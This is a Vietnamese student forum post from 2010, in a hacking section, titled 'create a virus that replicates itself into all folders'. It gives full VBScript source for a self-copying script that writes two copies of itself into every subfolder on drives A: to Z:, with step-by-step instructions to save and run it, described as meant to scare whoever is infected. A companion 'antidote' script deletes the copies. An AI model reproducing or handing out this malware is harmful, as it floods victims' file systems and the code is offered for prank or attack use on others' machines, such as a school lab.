Diễn đàn lớp 09CT1 - ĐH Chu Văn An
Mời bạn đăng ký để tham gia diễn đàn. Hãy giới thiệu cho bạn bè về diễn đàn của chúng tôi nhé. Chúc bạn có những giây phút vui vẻ và thoải mái.
Diễn đàn lớp 09CT1 - ĐH Chu Văn An
Mời bạn đăng ký để tham gia diễn đàn. Hãy giới thiệu cho bạn bè về diễn đàn của chúng tôi nhé. Chúc bạn có những giây phút vui vẻ và thoải mái.
Diễn đàn lớp 09CT1 - ĐH Chu Văn An
Bạn có muốn phản ứng với tin nhắn này? Vui lòng đăng ký diễn đàn trong một vài cú nhấp chuột hoặc đăng nhập để tiếp tục.

Diễn đàn lớp 09CT1 - ĐH Chu Văn An


 
Trang ChínhTrang Chính  Latest imagesLatest images  Đăng NhậpĐăng Nhập  Đăng kýĐăng ký  
Similar topics

Gửi bài mới Trả lời chủ đề này
Tạo viruts tự nhân bản vào tất cả thư mục EmptyWed Oct 20, 2010 5:28 pm
Tạo viruts tự nhân bản vào tất cả thư mục Bgavatar_06
Tạo viruts tự nhân bản vào tất cả thư mục Bgavatar_01Tạo viruts tự nhân bản vào tất cả thư mục Bgavatar_02Tạo viruts tự nhân bản vào tất cả thư mục Bgavatar_03
Tạo viruts tự nhân bản vào tất cả thư mục Bgavatar_04tm cô đơnTạo viruts tự nhân bản vào tất cả thư mục Bgavatar_06
Tạo viruts tự nhân bản vào tất cả thư mục Bgavatar_07Tạo viruts tự nhân bản vào tất cả thư mục Bgavatar_08Tạo viruts tự nhân bản vào tất cả thư mục Bgavatar_09
Thành viên 09[CT]: - tm cô đơn
Chức vụ:
Chức vụ:
Tổng số bài gửi : 162
Tuổi : 33

Tạo viruts tự nhân bản vào tất cả thư mục Vide

Bài gửiTiêu đề: Tạo viruts tự nhân bản vào tất cả thư mục
https://09ct.forumvi.com

Ở phòng máy trường mình hiện có loại giống thế này oy.

Tác hại của con VR này:
- Nhân bản chính nó vào tất cả các thư mục của Windows, các thư mục trong ổ C:\ D:\ và E:\ và cả các thư mục con của nó. Nói chung là ổ cứng có bao nhiêu Folder thì con VR sẽ nhân bản lên bấy nhiêu lần và sau đó cho vào 1 Folder 1 bản.
Mục đích để thằng bị dính nó hoang mang lo sợ, muốn xóa cũng ko thể nào xóa hết đc. Làm sao có thể xóa được gần cả ngàn thư mục trong Windows? mà thư mục nào cũng có mặt Virus
Và tất nhiên là mình có kèm theo cả thuốc giải
Chạy File thuốc giải là coi như xong, như chưa có chuyện gì xảy ra vậy

Vào notepad gõ đoạn code sau
Mã:
Code:
'Thuoc Doc !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub
save lại bằng tên tranngap.vbs


Đợi một lúc và làm tiếp thế này để thoát khỏi sự tràn nhập cả trong thư mục và desktop ^^

copy code sau vào notepad

Mã:
Code:
'Thuoc Giai
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")
Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
'CAP.write VBCopy
'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs")
fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs")
FolderList(f1.Path)
Next
End sub
Thế là có cả virus lẫn thuốc giải rồi nhé, đây là một loại virus đơn giản đầu tiên mà t giới thiêu, hehe, còn nhiều loại lắm muốn thử hết thì đợi xem nhé!





Tạo viruts tự nhân bản vào tất cả thư mụcXem chủ đề cũ hơn Xem chủ đề mới hơn Về Đầu Trang
Trang 1 trong tổng số 1 trang
* Viết tiếng Việt có dấu, là tôn trọng người đọc.
* Chia sẻ bài sưu tầm có ghi rõ nguồn, là tôn trọng người viết.
* Thực hiện những điều trên, là tôn trọng chính mình.
sv09ct.tk Không chịu trách nhiệm về bài viết của thành viên
Mọi chi tiết xin liên hệ: Y/M: Beboy_tcodon

Permissions in this forum:Bạn không có quyền trả lời bài viết
Diễn đàn lớp 09CT1 - ĐH Chu Văn An :: 

Mạng

 :: 

Hack - Bảo mật

-
Tạo viruts tự nhân bản vào tất cả thư mục Footer


Tạo viruts tự nhân bản vào tất cả thư mục Logocva
Diễn đàn được xây dựng bởi các thành viên sv09ct.tk
Mọi chi tiết xin liên hệ: email: nguyentam@gmail.com
Y!M :
Powered by phpBB2
Copyright © 20010 - 2011
Skin Edit by TMcodon
Free forum | ©phpBB | Free forum support | Báo cáo lạm dụng | Thảo luận mới nhất